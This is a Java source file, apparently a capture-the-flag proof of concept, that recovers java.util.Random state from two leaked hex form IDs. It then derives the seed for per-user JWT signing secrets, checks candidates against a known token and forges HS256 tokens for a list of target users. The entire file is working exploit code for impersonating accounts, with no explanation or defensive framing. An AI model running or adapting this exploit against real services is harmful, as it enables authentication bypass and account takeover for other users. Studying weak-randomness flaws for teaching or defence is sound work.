import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Base64;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.nio.ByteBuffer;
import java.util.Map;
import java.util.HashMap;

public class ChainPoC_HexIDs {
  static final long A = 0x5DEECE66DL;
  static final long C = 0xBL;
  static final long A_INV = 0xDFE05BCB1365L;

  private static final long MULTIPLIER = 0x5DEECE66DL;
  private static final long ADDEND     = 0xBL;
  private static final long MASK       = (1L << 48) - 1;
  private static final long MULT_INV   = 0xDFE05BCB1365L;

  private static long nextSeed(long s)  { return (s * MULTIPLIER + ADDEND) & MASK; }
  private static long prevSeed(long sp) { return (MULT_INV * ((sp - ADDEND) & MASK)) & MASK; }

  static long nextState(long s) {
    return (s * A + C) & MASK;
  }

  static long prevState(long s) {
    return (A_INV * ((s - C) & MASK)) & MASK;
  }

  static long stateToSeedLow48(long state) {
    return (state ^ A) & MASK;
  }

  static String toHex16(long v) {
    return String.format("%016x", v);
  }

  static long fromHex(String hex) {
    return Long.parseUnsignedLong(hex, 16);
  }

  static String hx64(long v) {
    return String.format("0x%016x", v);
  }

  static String hx48(long v) {
    return String.format("0x%012x", v & MASK);
  }

  static class FormSeed {
    final int seedInt;
    final long s0;

    FormSeed(int i, long s) {
      seedInt = i;
      s0 = s;
    }
  }

  static FormSeed recoverFormSeedFromNextLong(long out) {
    int lo = (int) out;
    int hi = (int) ((out - (long) lo) >>> 32);

    long hiU = hi & 0xFFFFFFFFL;
    for (int b1 = 0; b1 < (1 << 16); b1++) {
      long s1 = ((hiU << 16) | (b1 & 0xFFFFL)) & MASK;
      long s2 = nextState(s1);
      if ((int) (s2 >>> 16) == lo) {
        long s0 = prevState(s1);
        long seedLow48 = stateToSeedLow48(s0);
        int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
        if (new Random(seedInt).nextLong() == out)
          return new FormSeed(seedInt, s0);
      }
    }

    long loU = lo & 0xFFFFFFFFL;
    for (int b2 = 0; b2 < (1 << 16); b2++) {
      long s2 = ((loU << 16) | (b2 & 0xFFFFL)) & MASK;
      long s1 = prevState(s2);
      if ((int) (s1 >>> 16) == hi) {
        long s0 = prevState(s1);
        long seedLow48 = stateToSeedLow48(s0);
        int seedInt = (int) (seedLow48 & 0xFFFFFFFFL);
        if (new Random(seedInt).nextLong() == out)
          return new FormSeed(seedInt, s0);
      }
    }
    throw new IllegalStateException("no matching state for given nextLong()");
  }

  static class IdProviderSeed {
    final long s0, s1, s2;

    IdProviderSeed(long a, long b, long c) {
      s0 = a;
      s1 = b;
      s2 = c;
    }
  }

  static IdProviderSeed reconstructIdProviderSeedFromTwoInts(int x0, int x1) {
    long u0 = x0 & 0xFFFFFFFFL, u1 = x1 & 0xFFFFFFFFL;
    for (int low16 = 0; low16 < (1 << 16); low16++) {
      long s1 = ((u0 << 16) | (low16 & 0xFFFFL)) & MASK;
      long s2 = nextState(s1);
      if (((int) (s2 >>> 16)) == (int) u1) {
        long s0 = prevState(s1);
        return new IdProviderSeed(s0, s1, s2);
      }
    }
    throw new IllegalStateException("values must be consecutive nextInt()");
  }

  static List<long[]> candidatesFromL2low48(long L2_low48) {
    int y2 = (int) (L2_low48 & 0xFFFFFFFFL);
    int y1_low16 = (int) ((L2_low48 >>> 32) & 0xFFFFL);
    List<long[]> out = new ArrayList<>();
    for (int b2 = 0; b2 < (1 << 16); b2++) {
      long s2 = ((((long) y2) << 16) | (b2 & 0xFFFFL)) & MASK;
      long s1 = prevState(s2);
      if (((s1 >>> 16) & 0xFFFFL) == (y1_low16 & 0xFFFFL)) {
        long hi32 = (s1 >>> 16) & 0xFFFFFFFFL;
        long lo32 = (s2 >>> 16) & 0xFFFFFFFFL;
        long L2_full = (hi32 << 32) | lo32;
        long p2 = prevState(s1);
        long p1 = prevState(p2);
        long L1_full = (((p1 >>> 16) & 0xFFFFFFFFL) << 32) | ((p2 >>> 16) & 0xFFFFFFFFL);
        out.add(new long[] { L2_full, L1_full });
      }
    }
    return out;
  }

  private static int hiFromNextLong(long out) {
    int lo = (int) out;
    return (int) ((out - (long) lo) >>> 32);
  }

  private static int loFromNextLong(long out) {
    return (int) out;
  }

  static long makeNextLongFromStates(long s1, long s2) {
    return (((long) (int) (s1 >>> 16)) << 32) + (int) (s2 >>> 16);
  }

  private static long makeNextLong(int hi, int lo) {
    return (((long) hi) << 32) + (long) lo;
}




  static List<long[]> bruteForceIdAndJWTSeedCandidates(long id_provider_seed_low48) {

    System.out.println(hx64(id_provider_seed_low48));
    List<long[]> out = new ArrayList<>();

    int y2 = (int) (id_provider_seed_low48 & 0xFFFFFFFFL);
    int y1_low16 = (int) ((id_provider_seed_low48 >>> 32) & 0xFFFFL);

    for (int low16_s2 = 0; low16_s2 < (1 << 16); low16_s2++) { 
      long s2 = ((((long) y2) << 16) | (low16_s2 & 0xFFFFL)) & MASK; 
      long s1 = prevState(s2);

      if (((s1 >>> 16) & 0xFFFFL) != (y1_low16 & 0xFFFFL) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) + 1) && ((s1 >>> 16) & 0xFFFFL) != ((y1_low16 & 0xFFFFL) - 1)) continue;

      System.out.println("passed s1: " + hx48(s1));

      long L2_full = makeNextLongFromStates(s1, s2); 
      long p2 = prevState(s1); long p1 = prevState(p2); 
      long L1_full = makeNextLongFromStates(p1, p2); 
      out.add(new long[] { L1_full, L2_full});

      System.out.println("L2: " + hx64(L2_full));
      System.out.println("L1: " + hx64(L1_full));

      s1 = ((s1 >>> 16) + 1) << 16;
      System.out.println("s1+: " + hx48(s1));

      L2_full = makeNextLongFromStates(s1, s2); 
      p2 = prevState(s1); p1 = prevState(p2); 
      L1_full = makeNextLongFromStates(p1, p2); 
      out.add(new long[] { L1_full, L2_full});


      s1 = ((s1 >>> 16) - 2) << 16;
      System.out.println("s1-: " + hx48(s1));

      L2_full = makeNextLongFromStates(s1, s2); 
      p2 = prevState(s1); p1 = prevState(p2); 
      L1_full = makeNextLongFromStates(p1, p2); 
      out.add(new long[] { L1_full, L2_full});
    }
    return out;
  }



  static byte[] longToBytes(long value) {
    return ByteBuffer.allocate(8).putLong(value).array();
  }

  static byte[] expandKey(byte[] key8bytes) {
    byte[] expanded = new byte[32];
    for (int i = 0; i < 32; i++) {
      expanded[i] = key8bytes[i % 8];
    }
    return expanded;
  }

  static boolean verifyJWT(String jwtToken, long jwtSecret) {
    try {
      String[] parts = jwtToken.split("\\.");
      if (parts.length != 3)
        return false;

      String headerAndPayload = parts[0] + "." + parts[1];
      String actualSignature = parts[2];

      byte[] keyData = longToBytes(jwtSecret);
      byte[] expandedKey = expandKey(keyData);

      Mac mac = Mac.getInstance("HmacSHA256");
      SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
      mac.init(keySpec);
      byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));

      String expectedSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);

      return expectedSignature.equals(actualSignature);
    } catch (Exception e) {
      System.err.println("JWT verification error: " + e.getMessage());
      return false;
    }
  }

  static String generateToken(String username, long jwtSecret) {
    try {
      String header = "{\"alg\":\"HS256\"}";
      String encodedHeader = Base64.getUrlEncoder().withoutPadding()
        .encodeToString(header.getBytes("UTF-8"));

      long now = System.currentTimeMillis() / 1000;
      long exp = now + 86400;
      String payload = "{\"u\":\"" + username + "\",\"iat\":" + now + ",\"exp\":" + exp + "}";
      String encodedPayload = Base64.getUrlEncoder().withoutPadding()
        .encodeToString(payload.getBytes("UTF-8"));

      String headerAndPayload = encodedHeader + "." + encodedPayload;
      byte[] keyData = longToBytes(jwtSecret);
      byte[] expandedKey = expandKey(keyData);

      Mac mac = Mac.getInstance("HmacSHA256");
      SecretKeySpec keySpec = new SecretKeySpec(expandedKey, "HmacSHA256");
      mac.init(keySpec);
      byte[] signatureBytes = mac.doFinal(headerAndPayload.getBytes("UTF-8"));

      String signature = Base64.getUrlEncoder().withoutPadding()
        .encodeToString(signatureBytes);

      return headerAndPayload + "." + signature;
    } catch (Exception e) {
      System.err.println("JWT generation error: " + e.getMessage());
      return null;
    }
  }


  public static Map<String, String>[] exploit(long form_id, long known_user_id, String known_jwt, List<Map<String, String>> targetUsers, String form1, String form2) {

    long dec1 = fromHex(form1);
    long dec2 = fromHex(form2);

    System.out.println("dec1: " + hx64(dec1));
    System.out.println("dec2: " + hx64(dec2));

    FormSeed form_seed_a = recoverFormSeedFromNextLong(dec1);
    FormSeed form_seed_b = recoverFormSeedFromNextLong(dec2);

    int recN1 = form_seed_a.seedInt;
    int recN2 = form_seed_b.seedInt;

    IdProviderSeed id_provider_seed = reconstructIdProviderSeedFromTwoInts(recN1, recN2);


    System.out.println("rolling back state n times: " + (form_id - 1));
    long rolledBackState = id_provider_seed.s0;
    for (int i = 0; i < form_id -1 ; i++) {
      rolledBackState = prevState(rolledBackState);
    }

    long id_provider_seed_low48 = stateToSeedLow48(rolledBackState);

    List<long[]> cands = bruteForceIdAndJWTSeedCandidates(id_provider_seed_low48);

    System.out.println("cands: " + cands.size());

    long id_seed = 0, jwt_seed = 0;
    Random jwt_random;
    boolean found = false;

    for (long[] cand : cands) {
      jwt_seed = cand[0];
      id_seed = cand[1];

      System.out.println("jwt seed: " + hx64(jwt_seed));
      System.out.println("id seed: " + hx64(id_seed));

      long jwt_secret = 0;

      jwt_random = new Random(jwt_seed);
      for (int i = 0; i < known_user_id; i++) {
        jwt_secret = jwt_random.nextLong();
        if (verifyJWT(known_jwt, jwt_secret)) {
          System.out.println("found jwt secret: " + hx64(jwt_secret));
          System.out.println("jwt secret: " + hx64(jwt_secret));
          System.out.println("jwt seed: " + hx64(jwt_seed));
          System.out.println("id seed: " + hx64(id_seed));
          found = true;
          break;
        } else {
          System.out.println("invalid jwt secret: " + hx64(jwt_secret));
          continue;
        }
      }
      if (found) {
        break;
      }

    }

    if (jwt_seed == 0) {
      System.out.println("No valid jwt seed found");
      return null;
    }

    System.out.println();
    System.out.println("[*] Recovered from two ints:");
    System.out.println("L2_low48(rec) = " + hx48(id_provider_seed_low48));
    System.out.println("L2_full(rec) = " + hx64(id_seed));
    System.out.println("L1_full(rec) = " + hx64(jwt_seed));
    System.out.println();



    Map<String, String>[] jwts = new Map[targetUsers.size()];
    int index = 0;
    for (Map<String, String> user : targetUsers) {
      String username = user.get("username");
      long userId = Long.parseLong(user.get("userId"));

      Random jwt_random1 = new Random(jwt_seed);
      long jwt_secret = 0;
      for (int i = 0; i < userId; i++) {
        jwt_secret = jwt_random1.nextLong();
      }
      System.out.println("jwt secret: " + hx64(jwt_secret));
      String jwt = generateToken(username, jwt_secret);
      System.out.println("jwt: " + jwt);
      
      Map<String, String> jwtData = new HashMap<>();
      jwtData.put("jwt", jwt);
      jwtData.put("username", username);
      jwtData.put("userId", Long.toString(userId));
      jwts[index] = jwtData;
      index++;
    }
    return jwts;
  }


}